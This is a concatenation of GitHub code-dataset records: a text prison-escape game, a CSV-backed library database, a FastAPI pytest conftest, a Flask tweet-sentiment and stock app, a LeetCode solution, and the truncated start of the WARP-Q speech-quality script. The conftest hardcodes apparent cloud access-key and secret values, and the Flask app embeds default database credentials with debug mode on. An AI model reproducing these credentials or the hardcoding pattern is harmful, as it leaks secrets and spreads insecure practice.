this game your goal is to escape the prison\n    \n    Game Story: In the dimly lit confines of Cell Block C, \n    two unlikely allies forged a desperate bond. Mason, a burly ex-Marine with a shaved head and a troubled past, \n    had been imprisoned for a crime he swore he didn't commit. His cellmate, James, a wiry and street-smart hacker, \n    had ended up behind bars due to his underground dealings in the digital underworld. Fate had brought them together,\n    but a shared desire for freedom would make them brothers in a daring quest.\n    Behind the cold steel bars, they whispered secrets in the shadows, \n    plotting an elaborate escape plan that would test their wits, their courage, and their loyalty.\n '''\n    print(msg)\n    \n'''The load function is used for displaying a simple loading screen which is just for asthetics \nwhen this function is called the user will be shown a loading screen that will run for 10 - 20 secs'''\ndef load(clean):\n    #simple animation for smoother transtions between function\n    startMsg1 = 'Loading /'\n    startMsg2 = 'Loading -'\n    startMsg3 = 'Loading \\\\'\n    startMsg4 = 'Loading |'\n    numLoop = 0\n    while numLoop <= 2:\n        # time.sleep(0.5) is used to to pause the program for the give time in seconds\n        time.sleep(0.25)\n        # we then clear the terminal\n        os.system(clean)\n        # then we print the message\n        print(startMsg1)\n        time.sleep(0.25)\n        os.system(clean)\n        print(startMsg2)\n        time.sleep(0.25)\n        os.system(clean)\n        print(startMsg3)\n        time.sleep(0.25)\n        os.system(clean)\n        print(startMsg4)\n        numLoop += 1\n    os.system(clean)\n    return \n\n'''The charSelect allows the user to select a role from the ones presented,\nwhen a user selects a role they will then be presented with the loading screen\nand then the bio of the role for example the age, name and background story'''\ndef charSelect(choice,clean):\n    while True:\n        # function that allows the user to choice a role and than retrives the attributes from role1 or role2\n        if choice == '1':\n            # run the load function for effect\n            load(clean)\n            # we then call the function bio from the role1 or 2 file\n            role1.bio()\n            #we store the attrbs into a list called attrb\n            attrb = role1.attrb()\n            # then print the attrbs to the user\n            print('\\nStrength =', attrb[0], '| Courage =',attrb[1], '| IQ =', attrb[2],'\\n')\n        \n        elif choice == '2':\n            load(clean)\n            role2.bio()\n            attrb = role2.attrb()\n            print('\\nStrength =', attrb[0], '| Courage =',attrb[1], '| IQ =', attrb[2],'\\n')\n        else:\n            print('Invalid. Try Again.')\n        return \n\nclean = osChecker()\nload(clean)\nwhile True:\n    # call the function mainMenu and store it to userStrt\n    userStrt = mainMenu(clean)\n    if userStrt == 's':\n        load(clean)\n        # call the welcomeMsg function\n        welcomeMsg(clean)\n        # ask the user what character they want to use\n        choice = input('Which character would you like to choose? | 1 for Mason | 2 for James: ')\n        # call the charSelect function and pass choice as the parameter\n        charSelect(choice,clean)\n        # call the quest function from the game.py file and pass choice as the parameter\n        game.quest(choice,clean)\n    elif userStrt == 'q':\n        # if the user decides to quit then print \"you have quit\" and then break\n        print('You Have Quit')\n        break\n\n\n    \n\n\n\n    \n\n    \n    ","repo_name":"DilBill/Assignment1-Dilraj-and-Aljen","sub_path":"Prog Prncpls/Assignment1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2146336497","text":"import csv # модуль для работы с csv-файлами\n\nfrom datetime import datetime\n\nfrom infrastructure.IDatabaseInterfaces import * # импорт всех интерфейсов\n\nfrom data_type.Book import Book\nfrom data_type.User import User\nfrom data_type.Role import Role\nfrom data_type.Author import Author\nfrom data_type.Model import Model\n\nFileBooksR = open(\"infrastructure/Books/Books.csv\", newline = '')\nFileBooksW = open(\"infrastructure/Books/Books.csv\", \"a\", newline = '')\nFileUsersR = open(\"infrastructure/Users/Users.csv\", newline = '')\nFileUsersW = open(\"infrastructure/Users/Users.csv\", \"a\", newline = '') # \"a\" - дозапись в файл, \"w\" - перезапись файла\nFileUserRoleR = open(\"infrastructure/Users/UserRole.csv\", newline = '')\nFileRolesR = open(\"infrastructure/Users/Roles.csv\", newline = '')\nFileAuthorsR = open(\"infrastructure/Books/Authors.csv\", newline = '')\nFileAuthorsW = open(\"infrastructure/Books/Authors.csv\", \"a\", newline = '')\nFileAuthorshipR = open(\"infrastructure/Books/Authorship.csv\", newline = '')\nFileAuthorshipW = open(\"infrastructure/Books/Authorship.csv\", \"a\", newline = '')\nFileModelsR = open(\"infrastructure/Users/Models.csv\", newline = '')\nFileModelsW = open(\"infrastructure/Users/Models.csv\", \"a\", newline = '')\nFileReadersR = open(\"infrastructure/Readers.csv\", newline = '')\nFileReadersW = open(\"infrastructure/Readers.csv\", \"a\", newline = '')\n\n# ПРИМЕЧАНИЕ: для корректной работы методов оформляйте строки в БД правильно.\n# При записи любых данных в файлы БД вручную обязательно в конце сделать перевод строки на новую!\n\n# внешняя функция для подсчёта строк в файле\ndef NumOfLines(file):\n    lines = 0\n    for line in open(file):\n        lines = lines + 1\n    return lines\n\n\nclass CSVDatabase(IDatabaseBRM, IDatabaseAuthService, IDatabaseFRM, IDatabaseGUI):\n    def GetBookCovers(self):\n        book = []\n        authors = []\n        readerBooks = csv.DictReader(FileBooksR, delimiter = ',')\n        readerAuthorship = csv.DictReader(FileAuthorshipR, delimiter = ',')\n        readerAuthors = csv.DictReader(FileAuthorsR, delimiter = ',')\n        # захожу в цикл по строкам файла Books.csv\n        for lineBooks in readerBooks:\n            # захожу в цикл по строкам файла Authorship.csv с фиксированным значением book_id\n            FileAuthorshipR.seek(0) # возвращаю указатель в начало файла\n            for lineAuthorship in readerAuthorship:\n                # нахожу нужные(ый) author_id\n                if (lineAuthorship[\"book_id\"] == lineBooks[\"book_id\"]):\n                    # захожу в цикл по строкам файла Authors.csv с фиксированным значением author_id\n                    FileAuthorsR.seek(0) # возвращаю указатель в начало файла\n                    for lineAuthors in readerAuthors:\n                        # имея author_id нахожу нужного автора и добавляю его в authors[]\n                        if (lineAuthorship[\"author_id\"] == lineAuthors[\"author_id\"]):\n                            authors.append(Author(lineAuthors[\"author_id\"], lineAuthors[\"first_name\"], lineAuthors[\"last_name\"], lineAuthors[\"middle_name\"]))\n                            break\n            new_list = authors.copy() # новый список для устранения проблем с памятью \n            book.append(Book(lineBooks[\"book_id\"], lineBooks[\"file_path\"], lineBooks[\"title\"], lineBooks[\"year\"], lineBooks[\"publisher\"], new_list))\n            authors.clear()\n        \n        return book\n    \n    \n    def AddUser(self, user):\n        reader = csv.DictReader(FileUsersR, delimiter = ',')\n        # если такой пользователь уже есть в базе, то вернуть -1\n        for line in reader:\n            if ((user.first_name == line[\"first_name\"]) and (user.last_name == line[\"last_name\"]) and (user.middle_name == line[\"middle_name\"]) and (user.phone == line[\"phone\"])):\n                return -1\n        new_user_id = NumOfLines(\"infrastructure/Users/Users.csv\") # id нового пользователя = числу строк в файле Users.csv\n        #\n        fieldnames = ['user_id', 'phone', 'first_name', 'last_name', 'middle_name']\n        writer = csv.DictWriter(FileUsersW, fieldnames = fieldnames, delimiter = ',')\n        writer.writerow({'user_id': new_user_id, 'phone': user.phone, 'first_name': user.first_name, 'last_name': user.last_name, 'middle_name': user.middle_name})\n        \n        return new_user_id\n    \n    \n    def GetUser(self, user_id):\n        # ищу пользователя по user_id\n        reader = csv.DictReader(FileUsersR, delimiter = ',')\n        user = User()\n        for i, line in enumerate(reader, 1):\n            if (i == user_id):\n                user = User(line[\"user_id\"], line[\"phone\"], line[\"first_name\"], line[\"last_name\"], line[\"middle_name\"])\n                break\n        reader = csv.DictReader(FileUserRoleR, delimiter = ',')\n        role_id = 0\n        # зная user_id, нахожу соответсвующее значение role_id\n        for i, line in enumerate(reader, 1):\n            if (i == user_id):\n                role_id = int(line[\"role_id\"])\n                break\n        # зная role_id, нахожу полную информацию об этой роли\n        reader = csv.DictReader(FileRolesR, delimiter = ',')\n        role = Role()\n        for i, line in enumerate(reader, 1):\n            if (i == role_id):\n                role = Role(line[\"role_id\"], line[\"description\"])\n                break\n        \n        return (user, role) # tuple()\n    \n    \n    def GetTrainedModel(self, name_model):\n        reader = csv.DictReader(FileModelsR, delimiter = ',')\n        for line in reader:\n            if (name_model == line[\"name_model\"]):\n                return line[\"file_path\"]\n            \n        return \"There is not such a model\"\n    \n    \n    def AddModel(self, model):\n        fieldnames = ['model_id', 'file_path', 'name_model']\n        writer = csv.DictWriter(FileModelsW, fieldnames = fieldnames, delimiter = ',')\n        writer.writerow({'model_id': model.model_id, 'file_path': model.file_path, 'name_model': model.name_model})\n        \n        return model.model_id\n    \n    \n    def AddBook(self, book):\n        # если такая книга уже есть, то вернуть -1\n        readerBooks = csv.DictReader(FileBooksR, delimiter = ',')\n        for line in readerBooks:\n            # file_path не сравниваю, т.к. могут быть 2 разных фото одной книги\n            if ((book.title == line[\"title\"]) and (book.year == line[\"year\"]) and (book.publisher == line[\"publisher\"])):\n                return -1\n        new_book_id = NumOfLines(\"infrastructure/Books/Books.csv\") # id новой книги = числу строк в файле Books.csv\n        # в таблицу книг дописываю одну новую:\n        fieldnamesBooks = ['book_id', 'file_path', 'title', 'year', 'publisher']\n        writerBooks = csv.DictWriter(FileBooksW, fieldnames = fieldnamesBooks, delimiter = ',')\n        writerBooks.writerow({'book_id': new_book_id, 'file_path': book.file_path, 'title': book.title, 'year': book.year, 'publisher': book.publisher})\n        # \n        readerAuthors = csv.DictReader(FileAuthorsR, delimiter = ',')\n        fieldnamesAuthors = ['author_id', 'first_name', 'last_name', 'middle_name']\n        writerAuthors = csv.DictWriter(FileAuthorsW, fieldnames = fieldnamesAuthors, delimiter = ',')\n        fieldnamesAuthorship = ['book_id', 'author_id']\n        writerAuthorship = csv.DictWriter(FileAuthorshipW, fieldnames = fieldnamesAuthorship, delimiter = ',')\n        for aut in book.authors:\n            new_author_id = 0\n            for line in readerAuthors:\n                # проверяю, есть ли в файле с Authors.csv, автор, который написал книгу, которую мы добавляем\n                if ((aut.first_name == line[\"first_name\"]) and (aut.last_name == line[\"last_name\"]) and (aut.middle_name == line[\"middle_name\"])):\n                    # если да, то его id будет ассоциироваться с id книги, которую мы добавляем\n                    new_author_id = line[\"author_id\"]\n            # если нет, то вычислим новый author_id и занесём автора в базу\n            if (new_author_id == 0):\n                new_author_id = NumOfLines(\"infrastructure/Books/Authors.csv\")\n                writerAuthors.writerow({'author_id': new_author_id, 'first_name': aut.first_name, 'last_name': aut.last_name, 'middle_name': aut.middle_name})\n            writerAuthorship.writerow({'book_id': new_book_id, 'author_id': new_author_id})\n        \n        return new_book_id\n    \n    \n    def GetAllUsers(self):\n        reader = csv.DictReader(FileUsersR, delimiter = ',')\n        user = []\n        for line in reader:\n            user.append(User(line[\"user_id\"], line[\"phone\"], line[\"first_name\"], line[\"last_name\"], line[\"middle_name\"]))\n        \n        return user\n    \n    \n    def GetAllBooks(self):\n        book = []\n        authors = []\n        readerBooks = csv.DictReader(FileBooksR, delimiter = ',')\n        readerAuthorship = csv.DictReader(FileAuthorshipR, delimiter = ',')\n        readerAuthors = csv.DictReader(FileAuthorsR, delimiter = ',')\n        # захожу в цикл по строкам файла Books.csv\n        for lineBooks in readerBooks:\n            # захожу в цикл по строкам файла Authorship.csv с фиксированным значением book_id\n            FileAuthorshipR.seek(0) # возвращаю указатель в начало файла\n            for lineAuthorship in readerAuthorship:\n                # нахожу нужные(ый) author_id\n                if (lineAuthorship[\"book_id\"] == lineBooks[\"book_id\"]):\n                    # захожу в цикл по строкам файла Authors.csv с фиксированным значением author_id\n                    FileAuthorsR.seek(0) # возвращаю указатель в начало файла\n                    for lineAuthors in readerAuthors:\n                        # имея author_id нахожу нужного автора и добавляю его в authors[]\n                        if (lineAuthorship[\"author_id\"] == lineAuthors[\"author_id\"]):\n                            authors.append(Author(lineAuthors[\"author_id\"], lineAuthors[\"first_name\"], lineAuthors[\"last_name\"], lineAuthors[\"middle_name\"]))\n                            break\n            new_list = authors.copy() # новый список для устранения проблем с памятью \n            book.append(Book(lineBooks[\"book_id\"], lineBooks[\"file_path\"], lineBooks[\"title\"], lineBooks[\"year\"], lineBooks[\"publisher\"], new_list))\n            authors.clear()\n        \n        return book\n    \n    def GetBorrowedBooks(self):\n        # HELP!\n        # пытался реализовать все циклы по строкам файлов при помощи enumerate в целях экономии времени работы методов, но возникают проблемы с возвратом указателя в начало файла\n        user = []\n        book = []\n        date1 = []\n        date2 = []\n        authors = []\n        readerReaders = csv.DictReader(FileReadersR, delimiter = ',')\n        readerUsers = csv.DictReader(FileUsersR, delimiter = ',')\n        readerBooks = csv.DictReader(FileBooksR, delimiter = ',')\n        readerAuthorship = csv.DictReader(FileAuthorshipR, delimiter = ',')\n        readerAuthors = csv.DictReader(FileAuthorsR, delimiter = ',')\n        # захожу в цикл по строкам файла Readers.csv\n        for lineReaders in readerReaders:\n            # захожу в цикл по строкам файла Books.csv с фиксированным значением user_id\n            FileUsersR.seek(0) # возвращаю указатель в начало файла\n            for lineUsers in readerUsers:\n                # нахожу нужного пользователя и добавляю его данны в user[]\n                if (lineUsers[\"user_id\"] == lineReaders[\"user_id\"]):\n                    user.append(User(lineUsers[\"user_id\"], lineUsers[\"phone\"], lineUsers[\"first_name\"], lineUsers[\"last_name\"], lineUsers[\"middle_name\"]))\n                    break\n            # захожу в цикл по строкам файла Authorship.csv с фиксированным значением book_id\n            FileAuthorshipR.seek(0) # возвращаю указатель в начало файла\n            for lineAuthorship in readerAuthorship:\n                # нахожу нужные(ый) author_id\n                if (lineAuthorship[\"book_id\"] == lineReaders[\"book_id\"]):\n                    # захожу в цикл по строкам файла Authors.csv с фиксированным значением author_id\n                    FileAuthorsR.seek(0) # возвращаю указатель в начало файла\n                    for lineAuthors in readerAuthors:\n                        # имея author_id нахожу нужного автора и добавляю его в authors[]\n                        if (lineAuthorship[\"author_id\"] == lineAuthors[\"author_id\"]):\n                            authors.append(Author(lineAuthors[\"author_id\"], lineAuthors[\"first_name\"], lineAuthors[\"last_name\"], lineAuthors[\"middle_name\"]))\n                            break\n            # добавляю нужную дату взятия книги в date1[]\n            date1.append(lineReaders[\"borrow_date\"])\n            # добавляю нужную дату сдачи книги в date2[]\n            date2.append(lineReaders[\"return_date\"])\n            #\n            # захожу в цикл по строкам файла Books.csv с фиксированным значением book_id\n            for lineBooks in readerBooks:\n                # нахожу нужную книгу\n                if (lineBooks[\"book_id\"] ==  lineReaders[\"book_id\"]):\n                    # добавляю её в book[]\n                    new_list = authors.copy() # новый список для устранения проблем с памятью \n                    book.append(Book(lineBooks[\"book_id\"], lineBooks[\"file_path\"], lineBooks[\"title\"], lineBooks[\"year\"], lineBooks[\"publisher\"], new_list))\n                    authors.clear()\n                    break\n        return (book, date1, date2, user) # tuple()\n        \n    def ChangeBookStatus(self, user_id, book_id, status):\n        # статус = 1 - взять книгу\n        # статус = 2 - сдать книгу\n        # return_date == -1 - книга не сдана\n        fieldnames = ['user_id', 'book_id', 'borrow_date', 'return_date']\n        writer = csv.DictWriter(FileReadersW, fieldnames = fieldnames, delimiter = ',')\n        if (status == 1):\n            writer.writerow({'user_id': user_id, 'book_id': book_id, 'borrow_date': datetime.strftime(datetime.now(), \"%d%m\"), 'return_date': \"-1\"})\n        if (status == 2):\n            \"\"\"HELP!\"\"\"\n            # не могу найти способ перезаписать конкретную ячейку без перезаписи всего файла\n\nif __name__ == \"__main__\":\n    \"\"\"main\"\"\"","repo_name":"megarungle/openvino-smart-library","sub_path":"src/CSVDatabase.py","file_name":"CSVDatabase.py","file_ext":"py","file_size_in_byte":16006,"program_lang":"python","lang":"ru","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"24215927614","text":"import uuid\n\nimport fastapi\nimport fastapi.testclient\nimport pytest\nimport sqlalchemy.exc\nimport sqlalchemy_utils\n\nfrom nux.app import create_app\nimport nux.config\nimport nux.database\nfrom tests.utils import app1_android_payload, create_user_token, create_user\n\n\n@pytest.fixture\ndef session(app):\n    return nux.database.Session()\n\n\n@pytest.fixture\ndef session_factory(app):\n    return nux.database.Session\n\n\n@pytest.fixture\ndef options():\n    tmp_db = '.'.join([uuid.uuid4().hex, 'pytest'])\n    args = [\n        \"--pg-db\", tmp_db,\n        \"--secret-key\", \"123\",\n        \"--firebase-dry-run\",\n        \"--sms-disable\",\n        \"--aws-disable\",\n        \"--aws-access-key-id\", \"YCAJEjQ6RldyNLfUtBaMUJZWQ\",\n        \"--aws-secret-access-key\", \"YCPM8_Qc-Bf_gDKfFq3ct2b2GxQPZcJnhq7U0GR8\",\n    ]\n    options = nux.config.parse_args(args)\n    return options\n\n\n@pytest.fixture\ndef app(options):\n    sqlalchemy_utils.create_database(options.postgres_url)\n\n    # nux.database.create_all(options.postgres_url)\n    nux.database.run_migrations(options.postgres_url)\n    app = create_app(options)\n    try:\n        yield app\n    finally:\n        try:\n            sqlalchemy_utils.drop_database(options.postgres_url)\n        except sqlalchemy.exc.ProgrammingError:\n            pass\n\n\n@pytest.fixture\ndef client(app):\n    with fastapi.testclient.TestClient(app) as c:\n        yield c\n\n\n@pytest.fixture\ndef user_auth_header(client):\n    return create_user(client, nickname=\"main_test_user\")\n\n\n@pytest.fixture\ndef sync_app1(client, user_auth_header):\n    response = client.put(\n        \"/sync_installed_apps/android\",\n        json={\n            \"apps\": [app1_android_payload],\n        },\n        headers=user_auth_header,\n    )\n    return response.json()[\"apps\"][0]\n\n\n@pytest.fixture\ndef second_user(client):\n    good_register_payload = {\n        \"nickname\": \"second_user\",\n        \"password\": \"fakeGoodPassword2!\",\n    }\n    response = client.post(\n        \"/register\",\n        json=good_register_payload,\n    )\n    return response.json()[\"access_token\"]\n","repo_name":"Ledokol-IT/nux-server","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13477716705","text":"# Exercício 6 - Crie uma variável chamada contador = 0. Enquanto counter for menor que 100, imprima os valores na tela,\n# mas quando for encontrado o valor 23, interrompa a execução do programa\n\ncontador = 0\n\nwhile contador < 100:\n    print(contador)\n    contador+=1\n    if contador == 23:\n        break","repo_name":"gustavocsb/DataAnalysis-Python","sub_path":"01.Introdutorio/Lista03-Loops_Condicionais/ex06.py","file_name":"ex06.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"34008754346","text":"from flask import Flask, render_template, request\nfrom SearchForm import SearchForm\nfrom TweetFinder import TweetFinder\nfrom StockFinder import StockFinder\nfrom SentimentAnalyzer import SentimentAnalyzer\nfrom sqlalchemy import exc\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom TweetObject import TweetObject\nfrom stock_chart import stock_chart\nfrom LineOfBestFit import LineOfBestFit\nimport datetime\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = \"postgresql://postgres:postgres@localhost:5432/HoyaHacks\"\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\nclass TweetModel(db.Model):\n    __tablename__ = 'tweets'\n\n    tweet_id = db.Column(db.BigInteger(), primary_key=True)\n    tweet = db.Column(db.String())\n    tweet_sentiment = db.Column(db.Integer())\n    tweet_name = db.Column(db.String())\n    tweet_username = db.Column(db.String())\n    tweet_likes = db.Column(db.Integer())\n    tweet_datestamp = db.Column(db.Date())\n    day1Price = db.Column(db.Float())\n    day2Price = db.Column(db.Float())\n    day3Price = db.Column(db.Float())\n    day4Price = db.Column(db.Float())\n    day5Price = db.Column(db.Float())\n    day1 = db.Column(db.String())\n    day2 = db.Column(db.String())\n    day3 = db.Column(db.String())\n    day4 = db.Column(db.String())\n    day5 = db.Column(db.String())\n    company = db.Column(db.String())\n    credibilityScore = db.Column(db.Float())\n    numOfTweets = db.Column(db.Integer())\n\n    def __init__(self, tweet_id, tweet, tweet_sentiment, tweet_name, tweet_username, tweet_likes, \n    tweet_datestamp, day1Price, day2Price, day3Price, day4Price, day5Price, company, numOfTweets,\n    day1, day2, day3, day4, day5, credibilityScore):\n        self.tweet_id = tweet_id\n        self.tweet = tweet\n        self.tweet_sentiment = tweet_sentiment\n        self.tweet_name = tweet_name\n        self.tweet_username = tweet_username\n        self.tweet_likes = tweet_likes\n        self.tweet_datestamp = tweet_datestamp\n        self.day1Price = day1Price\n        self.day2Price = day2Price\n        self.day3Price = day3Price\n        self.day4Price = day4Price\n        self.day5Price = day5Price\n        self.day1 = day1\n        self.day2 = day2\n        self.day3 = day3\n        self.day4 = day4\n        self.day5 = day5\n        self.company = company\n        self.numOfTweets = numOfTweets\n        self.credibilityScore = credibilityScore\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n@app.route('/displayTweets', methods=['GET', 'POST'])\ndef displayTweets():\n    form = SearchForm(request.form)\n    companyNom = str(form.company.data)\n    if request.method == 'POST' and form.validate():\n        twitterUser = str(form.username.data)\n        companyName = str(form.company.data)\n        before = str(form.before.data)\n        oneMonthBefore = datetime.datetime.strptime(before, '%Y-%m-%d')\n        oneMonthBefore = oneMonthBefore - datetime.timedelta(days=30)\n        users = TweetModel.query.filter(TweetModel.tweet_username == twitterUser, TweetModel.company == companyName, TweetModel.tweet_datestamp <= before, \n        TweetModel.tweet_datestamp >= oneMonthBefore).all()\n        ret = []\n        numOfTweets = 0\n        for user in users:\n            tweetObject = TweetObject(user.tweet_name, user.tweet_username, user.tweet_datestamp, user.tweet_likes, user.tweet, user.tweet_id)\n            numOfTweets = user.numOfTweets\n            ret.append(tweetObject)\n        if len(ret) > 0 and len(users) >= 8:\n            return render_template('displayTweets.html', data={'tweets':ret, 'numOfTweets': numOfTweets, 'companyNom': companyName})\n\n        # Handling Twitter\n        finder = TweetFinder(twitterUser, companyName, before)\n        filteredTweets = finder.findFilteredTweets()\n        user = finder.getUser()\n        finder.saveAvatarLocally(user)\n        sentimentAnalyzer = SentimentAnalyzer()\n        stockFinder = StockFinder(companyName)\n        hasTicker = stockFinder.hasTicker()\n        ret = []\n        lineOfBestFit = LineOfBestFit()\n\n        if hasTicker == False:\n            return render_template('errorPage.html', \n            errorMessage='Sorry for the inconvenience! We could not find public financial data for the company you searched for')\n\n        for t in filteredTweets:\n            if len(ret) >= 8:\n                break\n            todaysDate = datetime.datetime.strptime(datetime.datetime.today().strftime('%Y-%m-%d'), '%Y-%m-%d')\n            tenDaysBeforeToday = todaysDate - datetime.timedelta(days=10)\n            normalizedDate = datetime.datetime.strptime(t.datestamp, \"%Y-%m-%d\")\n\n            if normalizedDate <= tenDaysBeforeToday:\n                ret.append(t)\n                try:\n                    sentimentAnalyzer = SentimentAnalyzer()\n                    sentiment = sentimentAnalyzer.getSentiment(t.tweet)\n                    score = sentimentAnalyzer.checkSentiment(sentiment)\n                    creds = None\n                    \n                    stockPrices = stockFinder.getStockPrice(t.datestamp)\n                    lineOfBestFit = LineOfBestFit()\n                    lineOfBestFit.getLineOfBestFit([float(stockPrices[-1][1]), float(stockPrices[-2][1]), float(stockPrices[-3][1]), float(stockPrices[-4][1]), float(stockPrices[-5][1])])\n                    fitScore = lineOfBestFit.getSlope()\n\n                    if score == -1 and fitScore > 0:\n                        creds = -1\n                    elif score == 1 and fitScore < 0:\n                        creds = -1\n                    elif score == 1 and fitScore > 0:\n                        creds = 1\n                    elif score == -1 and fitScore < 0:\n                        creds = 1\n                    else:\n                        creds = 0\n\n\n                    # print(stockPrices)\n\n\n                    saveData = TweetModel(tweet_id=t.id, tweet=t.tweet, tweet_sentiment=score, tweet_name=t.name, \n                    tweet_username=t.username, tweet_likes=t.likes_count, tweet_datestamp=t.datestamp, \n                    day1Price=stockPrices[-1][1], day2Price=stockPrices[-2][1], day3Price=stockPrices[-3][1], day4Price=stockPrices[-4][1], \n                    day5Price=stockPrices[-5][1], day1=stockPrices[-1][0], day2=stockPrices[-2][0], day3=stockPrices[-3][0], day4=stockPrices[-4][0], \n                    day5=stockPrices[-5][0], company=companyName, numOfTweets=len(filteredTweets), credibilityScore=creds)\n                    db.session.add(saveData)\n                    db.session.commit()\n                except exc.SQLAlchemyError as e:\n                    pass\n        return render_template('displayTweets.html', data={'tweets':ret, 'numOfTweets': len(filteredTweets), 'datestamp': ret[0].datestamp, \"companyNom\": str(companyNom) })\n    return render_template('errorPage.html', errorMessage='Sorry for the inconvenience! One of the inputs you have entered is incorrect or does not exist')\n\n\n@app.route('/tweetProfile', methods=['GET', 'POST'])\ndef tweetProfile():\n    if request.method == 'POST':\n        data = TweetModel.query.get(request.form['id'])\n        stockPrices = [data.day1Price, data.day2Price, data.day3Price, data.day4Price, data.day5Price]\n        dates = [data.day1, data.day2, data.day3, data.day4, data.day5]\n        graph_range = (max(stockPrices) - min(stockPrices)) * 2\n        y_min = min(stockPrices) - graph_range/4\n        stock_chart(stockPrices, dates, y_min, graph_range, data.company)\n\n        word = None\n        if data.credibilityScore == 1:\n            word = 'good'\n        elif data.credibilityScore == -1:\n            word = 'bad'\n        else:\n            word = 'neutral'\n\n        JSON = {'company': data.company, 'id': request.form['id'], 'sentiment': data.tweet_sentiment, \"username\": data.tweet_username,\n        \"one\":data.day1Price, \"two\": data.day2Price, \"three\":data.day3Price, \"four\": data.day4Price, \"five\": data.day5Price, \n        \"tweet\": data.tweet, \"dayOne\": data.day1, \"name\": data.tweet_name, \"tweet_count\": data.numOfTweets, \"datestamp\": data.tweet_datestamp,\n         \"likes\": data.tweet_likes, 'credibilityScore': data.credibilityScore, \"word\": word}\n        return render_template('tweetProfile.html', data=JSON)\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"jialongclu/HoyaHacks2021","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23020416385","text":"class Solution:\n    def minEatingSpeed(self, piles: List[int], h: int) -> int:\n\n        left, right = 1, max(piles)\n\n        while left < right:\n            mid = (left + right) // 2\n            k = sum(ceil(x / mid) for x in piles)\n            if k > h:\n                left = mid + 1\n            else:\n                right = mid\n        return left","repo_name":"pjaehyun/TIL","sub_path":"PS/leetcode/875.Koko Eating Bananas.py","file_name":"875.Koko Eating Bananas.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"964934065","text":"\"\"\"\r\nWARP-Q: Quality Prediction For Generative Neural Speech Codecs\r\n\r\nThis is the WARP-Q version used in the ICASSP 2021 Paper:\r\n    \r\nW. A. Jassim, J. Skoglund, M. Chinen, and A. Hines, “WARP-Q: Quality prediction\r\nfor generative neural speech codecs,” paper accepted for presentation at the 2021 IEEE \r\nInternational Conference on Acoustics, Speech and Signal Processing (ICASSP 2021). \r\nDate of acceptance: 30 Jan 2021. Preprint: https://arxiv.org/pdf/2102.10449\r\n\r\nRun using python 3.x and include these package dependencies in your virtual environment:\r\n    - pandas \r\n    - librosa\r\n    - numpy \r\n    - pyvad\r\n    - skimage\r\n    - speechpy\r\n    - soundfile\r\n    - scipy (optional)\r\n    - seaborn (optional, for plotting only)\r\n    - multiprocessing (optional, for parallel computing mode only)\r\n    - joblib (optional, for parallel computing mode only)\r\n \r\nInput: \r\n    - The main_test function calls a csv file that contains paths of audio files.  \r\n    - The csv file cosists of four columns: \r\n        - Ref_Wave: reference speech\r\n        - Test_Wave: test speech\r\n        - MOS: subjective score (optinal, for plotting only)\r\n        - Codec: type of speech codec for the test speech (optinal, for plotting only)\r\n    \r\nOutput: \r\n    - Code will compute the WARP-Q quality scores between Ref_Wave and Test_Wave,\r\n    and will store the obrained results in a new column in the same csv file.  \r\n    \r\n        \r\nReleases: \r\n    \r\nWarning: While this code has been tested and commented giving invalid input \r\nfiles may cause unexpected results and will not be caught by robust exception\r\nhandling or validation checking. It will just fail or give you the wrong answer.\r\n\r\nIn this simple and basic demo, we compute WARP-Q scores for 8 speech samples only.\r\nMore data should should be provided to have better score distributions.\r\n\r\n    \r\n(c) Dr Wissam Jassim\r\n    University College Dublin\r\n    wissam.a.jassim@gmail.com\r\n    wissam.jassim@ucd.ie\r\n    November 28, 2020\r\n\r\n\"\"\"\r\n\r\n# Load libraries\r\nimport pandas as pd\r\nimport librosa, librosa.core, librosa.display\r\nimport seaborn as sns\r\nimport numpy as np\r\nfrom pyvad import vad, trim, split\r\nfrom skimage.util.shape import view_as_windows\r\nimport speechpy\r\nimport soundfile as sf\r\nimport multiprocessing\r\nfrom joblib import Parallel, delayed\r\nfrom scipy.stats import pearsonr\r\nfrom scipy.stats import spearmanr\r\nimport matplotlib.pyplot as plt\r\n\r\n################################ WARP-Q #######################################\r\ndef compute_WAPRQ(ref_path,test_path,sr=16000,n_mfcc=12,fmax=5000,patch_size=0.4,\r\n                  sigma=np.array([[1,1],[3,2],[1,3]])):\r\n\r\n    # Inputs:\r\n    # refPath: path of reference speech\r\n    # disPath: path pf degraded speech\r\n    # sr: sampling frequency, Hz\r\n    # n_mfcc: number of MFCCs\r\n    # fmax: cutoff frequency\r\n    # patch_size: size of each patch in s\r\n    # sigma: step size conditon for DTW\r\n\r\n    # Output:\r\n    # WARP-Q quality score between refPath and disPath\r\n\r\n\r\n    ####################### Load speech files #################################\r\n    # Load Ref Speech\r\n    if ref_path[-4:] == '.wav':\r\n        speech_Ref, sr_Ref = librosa.load(ref_path,sr=sr) \r\n    else:\r\n        if ref_path[-4:] == '.SRC': #For ITUT database if applicable\r\n            speech_Ref, sr_Ref  = sf.read(ref_path, format='RAW', channels=1, samplerate=16000,\r\n                           subtype='PCM_16', endian='LITTLE')\r\n            if sr_Ref != sr:\r\n                speech_Ref = librosa.resample(speech_Ref, sr_Ref, sr)\r\n                sr_Ref = sr\r\n        \r\n    # Load Coded Speech\r\n    if test_path[-4:] == '.wav':\r\n        speech_Coded, sr_Coded = librosa.load(test_path,sr=sr)\r\n    else: \r\n        if test_path[-4:] == '.OUT': #For ITUT database if applicable\r\n            speech_Coded, sr_Coded  = 